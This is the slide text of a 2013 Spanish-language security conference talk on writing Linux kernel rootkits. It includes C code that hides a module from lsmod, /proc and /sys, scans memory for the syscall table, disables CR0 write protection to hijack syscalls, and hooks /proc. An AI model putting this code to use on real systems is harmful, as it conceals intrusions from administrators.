Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

1. Building Basics Rootkits Building Basics Rootkits Attack Strategies NataS::: The Lord of Chaos Marcos Ricardo Schejtman Rubio 18 de Abril de 2013

2. Building Basics Rootkits Contents 1 Introducción ¿Qué es un Rootkit? Tipos de Rootkits Funciones Comunes de Rootkits 2 Manos a la Obra Consideraciones Primeros Pasos Ejercicio: Hello World Module Manejando Parametros 3 Tópicos Avanzados Trabajando con la Estructura de Tareas Escondiendo nuestros pasos

3. Building Basics Rootkits Introducción ¿Qué es un Rootkit? ¿Qué es un Rootkit? Un rootkit (según Wikipedia), se puede definir como: Un programa que permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones.

4. Building Basics Rootkits Introducción Tipos de Rootkits Tipos de Rootkits Practicamente podemos hablar de dos tipos de rootkits: 1 Rootkits en Espacio de Usuario, Los cuales corren en Ring-3, y modifican librer´ıas, o archivos de configuración, e inclusive ejecutables (ls, ps, etc). 2 Rootkits en Espacio de Kernel, Los cuales corren en Ring-0, y modifican estructuras del kernel, atrapan llamadas de sistema (hijacking syscall-table), etc. Podemos tenerlos como LKM’s o como patch al kernel corriendo /dev/kmem

5. Building Basics Rootkits Introducci´on Funciones Comunes de Rootkits Funciones Comunes de Rootkits Esconder Procesos Esconder Archivos Esconder Conexiones de Red Backdoors Keyloggers Darnos acceso a root

6. Building Basics Rootkits Manos a la Obra Consideraciones Consideraciones Las diferencias más importantes entre un desarrollo a n´ıvel kernel o espacio usuario son: El kernel carece de protección de memoria... algo que se ofrece en el espacio de usuario. El kernel no puede ejecutar de manera sencilla operaciones en punto flotante. El kernel tiene un espacio en pila muy reducido por proceso. Debido a la naturaleza as´ıncrona de las interrupciones del kernel, la concurrencia es de los temas a poner mas énfasis al desarrollar (Race-Conditions). La portabilidad... entre versión y versión de núcleo.

7. Building Basics Rootkits Manos a la Obra Primeros Pasos Primeros Pasos Algunas Macros importantes: module init(); module exit(); MODULE LICENSE(”GPL”); MODULE AUTHOR(”NataS”); MODULE DESCRIPTION(”My LKM”);

8. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> static int hello_init(void) { printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n"); return 0; } static void hello_exit(void) { printk(KERN_ALERT "Goodbye GuadalajaraCon!n"); } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("NataS"); MODULE_DESCRIPTION("My First LKM");

9. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World Nuestro Makefile: obj-m := modulo.o Y Compilamos como: make -C /lib/modules/$(uname -r)/build SUBDIRS=$PWD modules Cargamos nuestro módulo insmod modulo.ko Listamos nuestro módulo lsmod | grep modulo Eliminamos nuestro módulo rmmod modulo.ko

10. Building Basics Rootkits Manos a la Obra Manejando Parametros Manejando Parametros Los parámetros se mandan cuando arrancamos el módulo de la forma: insmod modulo param1=valor1 param2=valor2 Para definir los parámetros, primero declaramos variables y las pasamos a la macro: module_param(nombre, tipo, permisos) module_param_string(nombre,variable, longitud, permisos); Permisos son los definidos en sysfs, y afectan las entradas del modulo en /sys/module

11. Building Basics Rootkits Manos a la Obra Manejando Parametros Ejercicio: Name and Age static char myName[50]; module_param_string(name, myName, 50, 0); static int age = 1; module_param(age, int, 0); ... printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);

12. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas El kernel de linux contiene una lista enlazada (deﬁnida en include/linux/types.h e include/linux/list.h) de tareas, las cuales son una estructura declarada en include/linux/sched.h.

13. Building Basics Rootkits Tópicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas Desde el kernel tenemos acceso directo a la lista de tareas (task struct), la cual es una lista doblemente enlazada ¿Aún recuerdan sus clases de programación? Para acceder a la estructura que contiene información sobre nuestro proceso, basta con hacer uso del puntero current #include <linux/sched.h> #include <asm/current.h> static int hello_init(void) { printk(KERN_ALERT "My Name --> %s and PID --> %i n", current->comm, current->pid); return 0; }

14. Building Basics Rootkits Tópicos Avanzados Trabajando con la Estructura de Tareas Ejercicio: Get my PID and all others Usando los códigos anteriores... Recorran la lista de tareas y pinten cada proceso y su PID. Con este acceso pueden intentar esconder un proceso también:

15. Building Basics Rootkits Tópicos Avanzados Escondiendo nuestros pasos Hidding Ver.1 El kernel maneja un lista enlazada en la cual, mantiene la referencia de todos los módulos que están cargados (lsmod y /proc leen dicha lista). Esconder nuestro módulo es muy sencillo, en la función de inicio del módulo basta con eliminar la referencia de la lista: list_del(&THIS_MODULE->list); Dos problemas con esta primer aproximación: 1 Aún somos detectables desde /sys 2 Al hacer un unload del módulo, debido a que no existe en la lista, se provoca un Oops que genera un kernel panic o crash del sistema, dejando rastros.

16. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Hide myself Nos escodemos: static int hide_init(void) { printk(KERN_ALERT "Hello World! My first LKM.n"); printk(KERN_ALERT "Let’s get hide myself.n"); list_del(&THIS_MODULE->list); return 0; } Nos buscamos lsmod | grep modulo cat /proc/modules | grep modulo Nos Encontramos ls /sys/module/modulo

17. Building Basics Rootkits Tópicos Avanzados Escondiendo nuestros pasos Hidding. Ve2 Cada entrada en /sys es un objeto module kobject (definido en module.h) que internamente tienen una estructura del tipo kobject (definido en kobject.h). Examinando el código del kernel, vemos que en la descarga del módulo, primero debemos eliminarnos de /sys y posteriormente de la vista. Hay que tomar en cuenta, que el kernel no libera objetos que estén iniciados a NULL Recomendaciones: 1 Recordar información previa (prev y next en la lista). 2 Sobreescribir readproc y writeproc 3 Funciones estáticas para no dejar rastros en /proc/kallsyms

18. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Find Me if You can static inline void hideme(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); kfree(THIS_MODULE->notes_attrs); THIS_MODULE->notes_attrs = NULL; kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; kfree(THIS_MODULE->mkobj.mp); THIS_MODULE->mkobj.mp = NULL; THIS_MODULE->modinfo_attrs->attr.name = NULL; kfree(THIS_MODULE->mkobj.drivers_dir); THIS_MODULE->mkobj.drivers_dir = NULL; } Ahora... busquemos el m´odulo

19. Building Basics Rootkits Tópicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking La dirección de la sys call table, puede ser encontrada en el archivo System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese archivo? El rango de memoria del kernel en arquitecturas X86 es del 0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table basta con buscar hasta la 0xd0000000 ¿porque? CONFIG HIGHMEM. Para x86 64 podemos encontrar el inicio de la memoria del kernel en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff, es de destacar que igual que en la arquitectura de 32Bits, no debemos iterar todas las direcciones, basta iterar hasta 0xffffffff81ffffff. Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se exporten, sys close por ejemplo.

20. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking #if defined __x86_64__ #define START_MEM 0xffffffff81000000 #define END_MEM 0xffffffff81ffffff #else #define START_MEM 0xc0000000 #define END_MEM 0xd0000000 #endif unsigned long **find_syscalltable() { unsigned long **syscalltable; unsigned long int i = START_MEM; while ( i < END_MEM) { sctable = (unsigned long **)i; if ( syscalltable[__NR_close] == (unsigned long *)sys_close) { return &syscalltable[0]; } i += sizeof(void *); } return NULL; }

21. Building Basics Rootkits Tópicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking Pero la sys call table esta protegida contra escritura ¿o no? Existen diferentes registros de procesador, el que nos interesa es el cr0. El kernel nos da dos funciones para manipular este registro: write cr0 y read cr0. El Bit 0 de este registro maneja el Protected Mode, por ello se llama WP bit. Solo basta modificar este bit antes y después del hijacking write_cr0 (read_cr0 () & (~ 0x10000)); printk(KERN_ALERT "nWrite Protection Disabled XD"); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "nWrite Protection Enabled"); /* 0X10000 --> 000...010000000000000000 ~(0X10000) --> 111...101111111111111111 */

22. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking Syscall Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_open(pathname, flags, mode) { if (XXX==XXX) call open(pathname, flags, mode) else printf("Not found"); }

23. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_lookup(parent_directory, pathname, ...) { if (XXX==XXX) call real_lookup(parent_directory, pathname, ...) else printf("Error"); }

24. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS struct inode *pinode; const struct file_operations *proc_original; static struct file_operations proc_fops; void hook_proc(struct proc_dir_entry *root) { struct path proc_path; if (kern_path("/proc/",0,&proc_path)) return; pinode = proc_path.dentry->d_inode; if(!pinode) return; proc_fops = *pinode->i_fop; proc_original = pinode->i_fop; proc_fops.readdir = natas_lookup; pinode->i_fop = &proc_fops; }

25. Building Basics Rootkits Referencias Referencias Designing BSD Rootkits, Joseph Kong Linux Kernel Development, Robert Love Writing Kernel Exploits Paper, Keegan MacAllister Linux Kernel Crash Book, Igor Ljubuncic The Rootkits Arsenal, Reverend Bill Blunden

26. Building Basics Rootkits The End Thanks —————————————————————————– Autor: Marcos Ricardo Schejtman Rubio E-Mail: natashell@esdebian.org E-Mail: natas@ohkasystems.com Twitter: @natashell666 5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537 LATEX para todos

Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

Du liest eine Vorschau.

Hier ansehen

Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

Weitere Verwandte Inhalte

Diashows für Sie (20)

Andere mochten auch (19)

Ähnlich wie Desarrollo de rootkits en Linux [GuadalajaraCON 2013] (20)

Weitere von Websec México, S.C. (20)

Aktuellste (20)